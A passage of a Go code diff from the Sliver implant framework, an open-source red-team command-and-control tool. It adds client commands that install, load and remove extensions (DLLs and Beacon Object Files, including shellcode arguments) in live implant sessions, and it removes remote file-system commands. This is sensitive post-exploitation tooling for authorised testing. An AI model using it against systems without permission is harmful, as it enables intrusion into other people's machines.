forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
con.Printf("done!\n")
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
err := os.MkdirAll(artifactDir, 0o700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsListCmd - List all extension loaded on the active session/beacon
|
||||
func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", extList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(extList.Names) > 0 {
|
||||
con.PrintInfof("Loaded extensions:\n")
|
||||
for _, ext := range extList.Names {
|
||||
con.Printf("- %s\n", ext)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,505 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
// ManifestFileName - Extension manifest file name
|
||||
ManifestFileName = "extension.json"
|
||||
)
|
||||
|
||||
var loadedExtensions = map[string]*ExtensionManifest{}
|
||||
|
||||
type ExtensionManifest struct {
|
||||
Name string `json:"name"`
|
||||
CommandName string `json:"command_name"`
|
||||
Version string `json:"version"`
|
||||
ExtensionAuthor string `json:"extension_author"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
Files []*extensionFile `json:"files"`
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
Init string `json:"init"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
}
|
||||
|
||||
type extensionFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
type extensionArgument struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
}
|
||||
|
||||
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range e.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
|
||||
return "", err
|
||||
}
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
err = fmt.Errorf("extension file not found: %s", filePath)
|
||||
return "", err
|
||||
}
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
// ExtensionLoadCmd - Load extension command
|
||||
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
if CmdExists(extCmd.CommandName, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
return
|
||||
}
|
||||
ExtensionRegisterCommand(extCmd, con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
|
||||
}
|
||||
|
||||
// LoadExtensionManifest - Parse extension files
|
||||
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extManifest, err := ParseExtensionManifest(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extManifest.RootPath = filepath.Dir(manifestPath)
|
||||
loadedExtensions[extManifest.CommandName] = extManifest
|
||||
return extManifest, nil
|
||||
}
|
||||
|
||||
// ParseExtensionManifest - Parse extension manifest from buffer
|
||||
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
|
||||
extManifest := &ExtensionManifest{}
|
||||
err := json.Unmarshal(data, &extManifest)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if extManifest.Name == "" {
|
||||
return nil, errors.New("missing `name` field in extension manifest")
|
||||
}
|
||||
if extManifest.CommandName == "" {
|
||||
return nil, errors.New("missing `command_name` field in extension manifest")
|
||||
}
|
||||
if len(extManifest.Files) == 0 {
|
||||
return nil, errors.New("missing `files` field in extension manifest")
|
||||
}
|
||||
for _, extFiles := range extManifest.Files {
|
||||
if extFiles.OS == "" {
|
||||
return nil, errors.New("missing `files.os` field in extension manifest")
|
||||
}
|
||||
if extFiles.Arch == "" {
|
||||
return nil, errors.New("missing `files.arch` field in extension manifest")
|
||||
}
|
||||
extFiles.Path = util.ResolvePath(extFiles.Path)
|
||||
if extFiles.Path == "" || extFiles.Path == "/" {
|
||||
return nil, errors.New("missing `files.path` field in extension manifest")
|
||||
}
|
||||
extFiles.OS = strings.ToLower(extFiles.OS)
|
||||
extFiles.Arch = strings.ToLower(extFiles.Arch)
|
||||
}
|
||||
if extManifest.Help == "" {
|
||||
return nil, errors.New("missing `help` field in extension manifest")
|
||||
}
|
||||
return extManifest, nil
|
||||
}
|
||||
|
||||
// ExtensionRegisterCommand - Register a new extension command
|
||||
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
helpMsg := extCmd.Help
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runExtensionCmd(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
// f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
if 0 < len(extCmd.Arguments) {
|
||||
// BOF specific
|
||||
for _, arg := range extCmd.Arguments {
|
||||
var (
|
||||
argFunc func(string, string, ...grumble.ArgOption)
|
||||
defaultValue grumble.ArgOption
|
||||
)
|
||||
switch arg.Type {
|
||||
case "int", "integer", "short":
|
||||
argFunc = a.Int
|
||||
defaultValue = grumble.Default(0)
|
||||
case "string", "wstring", "file":
|
||||
argFunc = a.String
|
||||
defaultValue = grumble.Default("")
|
||||
default:
|
||||
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
|
||||
return
|
||||
}
|
||||
if arg.Optional {
|
||||
argFunc(arg.Name, arg.Desc, defaultValue)
|
||||
} else {
|
||||
argFunc(arg.Name, arg.Desc)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
}
|
||||
},
|
||||
HelpGroup: consts.ExtensionHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(extensionCmd)
|
||||
}
|
||||
|
||||
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Try to find the extension in the loaded extensions
|
||||
if checkCache {
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("List extensions error: %s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
return errors.New(extList.Response.Err)
|
||||
}
|
||||
extensionList = extList.Names
|
||||
}
|
||||
depLoaded := false
|
||||
for _, extName := range extensionList {
|
||||
if !depLoaded && extName == ext.DependsOn {
|
||||
depLoaded = true
|
||||
}
|
||||
if ext.CommandName == extName {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
// Extension not found, let's load it
|
||||
if filepath.Ext(binPath) == ".o" {
|
||||
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
|
||||
// Auto load the coff loader if we have it
|
||||
if !depLoaded {
|
||||
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
|
||||
return errLoad
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
|
||||
return errRegister
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.CommandName,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if registerResp.Response != nil && registerResp.Response.Err != "" {
|
||||
return errors.New(registerResp.Response.Err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
depExt, ok := loadedExtensions[depName]
|
||||
if ok {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
depBinData, err := ioutil.ReadFile(depBinPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return registerExtension(goos, depExt, depBinData, ctx, con)
|
||||
}
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
|
||||
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
err error
|
||||
extensionArgs []byte
|
||||
extName string
|
||||
entryPoint string
|
||||
)
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ext, ok := loadedExtensions[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
checkCache := session != nil
|
||||
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read extension file: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
isBOF := filepath.Ext(binPath) == ".o"
|
||||
|
||||
// BOFs (Beacon Object Files) are a specific kind of extensions
|
||||
// that require another extension (a COFF loader) to be present.
|
||||
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
|
||||
// This block will pack both the BOF data and its arguments into a single buffer that
|
||||
// the loader will extract and load.
|
||||
if isBOF {
|
||||
// Beacon Object File -- requires a COFF loader
|
||||
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("BOF args error: %s\n", err)
|
||||
return
|
||||
}
|
||||
extName = ext.DependsOn
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
// Regular DLL
|
||||
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
extensionArgs = []byte(extArgs)
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: extName,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Call extension error: %s\n", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
if callExtResp.Response != nil && callExtResp.Response.Async {
|
||||
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, callExtResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
})
|
||||
con.PrintAsyncResponse(callExtResp.Response)
|
||||
} else {
|
||||
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExtOutput - Print the ext execution output
|
||||
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
|
||||
if extName == commandName {
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
} else {
|
||||
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
|
||||
}
|
||||
if 0 < len(string(callExtension.Output)) {
|
||||
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", callExtension.Response.Err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
|
||||
var extensionArgs []byte
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
// Parse BOF arguments from grumble
|
||||
for _, arg := range ext.Arguments {
|
||||
switch arg.Type {
|
||||
case "integer":
|
||||
fallthrough
|
||||
case "int":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
err = argsBuffer.AddInt(uint32(val))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "short":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
err = argsBuffer.AddShort(uint16(val))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "string":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
err = argsBuffer.AddString(val)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "wstring":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
err = argsBuffer.AddWString(val)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Adding support for filepaths so we can
|
||||
// send binary data like shellcodes to BOFs
|
||||
case "file":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
data, err := ioutil.ReadFile(val)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = argsBuffer.AddData(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
parsedArgs, err := argsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Now build the extension's argument buffer
|
||||
extensionArgsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
err = extensionArgsBuffer.AddString(ext.Entrypoint)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = extensionArgsBuffer.AddData(binData)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = extensionArgsBuffer.AddData(parsedArgs)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensionArgs, err = extensionArgsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return extensionArgs, nil
|
||||
|
||||
}
|
||||
|
||||
// CmdExists - checks if a command exists
|
||||
func CmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsRemoveCmd - Remove an extension
|
||||
func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := RemoveExtensionByCommandName(name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error removing extension: %s\n", err)
|
||||
return
|
||||
} else {
|
||||
con.PrintInfof("Extension '%s' removed\n", name)
|
||||
}
|
||||
}
|
||||
|
||||
// RemoveExtensionByCommandName - Remove an extension by command name
|
||||
func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
|
||||
if commandName == "" {
|
||||
return errors.New("command name is required")
|
||||
}
|
||||
if _, ok := loadedExtensions[commandName]; !ok {
|
||||
return errors.New("extension not loaded")
|
||||
}
|
||||
delete(loadedExtensions, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
forceRemoveAll(extPath)
|
||||
return nil
|
||||
}
|
||||
|
||||
func forceRemoveAll(rootPath string) {
|
||||
util.ChmodR(rootPath, 0o600, 0o700)
|
||||
os.RemoveAll(rootPath)
|
||||
}
|
||||
@@ -1,339 +0,0 @@
|
||||
package command
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/alecthomas/chroma/formatters"
|
||||
"github.com/alecthomas/chroma/lexers"
|
||||
"github.com/alecthomas/chroma/styles"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func ls(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) < 1 {
|
||||
ctx.Args = append(ctx.Args, ".")
|
||||
}
|
||||
|
||||
ls, err := rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: ctx.Args[0],
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
printDirList(ls)
|
||||
}
|
||||
}
|
||||
|
||||
func printDirList(dirList *sliverpb.Ls) {
|
||||
fmt.Printf("%s\n", dirList.Path)
|
||||
fmt.Printf("%s\n", strings.Repeat("=", len(dirList.Path)))
|
||||
|
||||
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
|
||||
for _, fileInfo := range dirList.Files {
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
}
|
||||
|
||||
func rm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) == 0 {
|
||||
fmt.Printf(Warn + "Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
rm, err := rpc.Rm(context.Background(), &sliverpb.RmReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: ctx.Args[0],
|
||||
Recursive: ctx.Flags.Bool("recursive"),
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf(Info+"%s\n", rm.Path)
|
||||
}
|
||||
}
|
||||
|
||||
func mkdir(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) == 0 {
|
||||
fmt.Printf(Warn + "Missing parameter: directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
mkdir, err := rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: ctx.Args[0],
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf(Info+"%s\n", mkdir.Path)
|
||||
}
|
||||
}
|
||||
|
||||
func cd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
if len(ctx.Args) < 1 {
|
||||
ctx.Args = append(ctx.Args, ".")
|
||||
}
|
||||
|
||||
pwd, err := rpc.Cd(context.Background(), &sliverpb.CdReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: ctx.Args[0],
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf(Info+"%s\n", pwd.Path)
|
||||
}
|
||||
}
|
||||
|
||||
func pwd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
pwd, err := rpc.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf(Info+"%s\n", pwd.Path)
|
||||
}
|
||||
}
|
||||
|
||||
func cat(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) == 0 {
|
||||
fmt.Printf(Warn + "Missing parameter: file name\n")
|
||||
return
|
||||
}
|
||||
|
||||
download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: ctx.Args[0],
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if ctx.Flags.Bool("colorize-output") {
|
||||
if err = colorize(download); err != nil {
|
||||
fmt.Println(string(download.Data))
|
||||
}
|
||||
} else {
|
||||
fmt.Println(string(download.Data))
|
||||
}
|
||||
}
|
||||
|
||||
func colorize(f *sliverpb.Download) error {
|
||||
lexer := lexers.Match(f.GetPath())
|
||||
